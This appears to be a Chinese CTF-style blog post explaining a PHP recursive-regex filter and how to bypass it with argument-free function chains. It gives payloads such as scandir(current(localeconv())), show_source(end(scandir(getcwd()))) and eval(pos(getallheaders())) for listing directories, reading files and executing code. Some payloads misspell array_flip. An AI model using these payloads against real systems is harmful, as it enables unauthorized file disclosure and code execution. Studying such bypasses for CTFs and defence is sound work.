php递归匹配以及无参数文件读取

1.
php正则匹配-递归匹配
例如:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

其中[^\W]+ 表示任意的字符和数字以及下划线,匹配1次或者多次
然后是匹配 "(" 一次
然后是(?R)? 表示递归匹配 也就是表示当前的正则匹配pattern这整个式子,(?R)代表的是整个式子,而最后一个?表示的是给予这个递归一个终止信号,因为?可以表示0次或者1次,所以同样可以用*来代替。当然这里?以及*可能出现递归栈的不同。

综上所述:该正则可以匹配的内容为:a(b(c()))或者a(),也就是只能含有括号的内容

2.该方法也就是无参数函数进行文件读取或者命令执行(参考自FreeBuff.COM----合天智汇)
①查看当前目录文件名
使用print_r(scandir('.')),那么如何构造".",有如下几种方案
一、localeconv()函数
该函数可以返回包含本地数字及货币格式信息的数组,而所有数组中第一项就是“.”,第二项是“..”
二、current() 或者pos()函数
这两者函数互为别称,这个函数的作用是返回数组中的单元,默认取第一个值
三、reset()函数
该函数返回数组的第一个单元的值,如果数组为空则返回FALSE
四、chr(46)
可以构造chr(current(localtime(time())));
五、利用三角函数以及可能出现的数字
phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
即chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

六、可以利用getcwd()或者realpath('.')来获得当前绝对路径
即print_r(scandir(getcwd()))

所以可以根据如上函数构造读取当前目录内容:
即print_r(scandir(current(localeconv())));

②读取当前目录下文件内容:
current()-返回数组中当前单元
each()----返回数组中当前的键/值对并将数组指针向前移动一步
end()-----将数组的内部指针指向最后一个单元
next()-----将数组中的内部指针向前移动一位
prev()-----将数组的内部指针倒回一位

所以就可以根据这些来读取文件内容了:
如果是获取数组的最后一个,可以采用show_source(end(scandir(getcwd())));或者是用readfile,highlight_file、file_get_contents、readgzfile

③array_reverse()函数
该函数以相反的元素顺序返回数组,如果排在最后一位那么使用了该函数之后便可以使用current函数来直接读取内容,同理如果是倒数第二个可以采用倒序然后再next来读取文件内容
即show_source(next(array_reverse(scandir(getcwd()))));

④如果不是倒数第一或者倒数第二,即数组内容较大的话,可以采用array_rand(array_filp)
其中array_file()是交换数组的键值对,array_rand()是随机选择一个返回
即采用show_source(array_rand(array_filp(scandir(getcwd()))));来凭运气

⑤dirname()函数
返回路径中的目录部分

⑥当我们需要在上一级目录读取文件的时候需要用到chdir()函数
该函数的作用是改变工作目录
即show_source(array_rand(array_filp(scandir(dirname(chdir(dirname(getcwd())))))))

⑦无参数命令执行
可以在headers输入一个参数,然后利用getallheaders()或者apache_request_headers()获取头部header
然后利用?eval(pos(getallheaders()));add:phpinfo()来进行命令的执行,首先要确定这个add排在headers的第一位

同理,可以用get_defined_vars()来获取php中的变量

 

参考文章:

https://www.freebuf.com/articles/system/242482.html--合天智汇

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值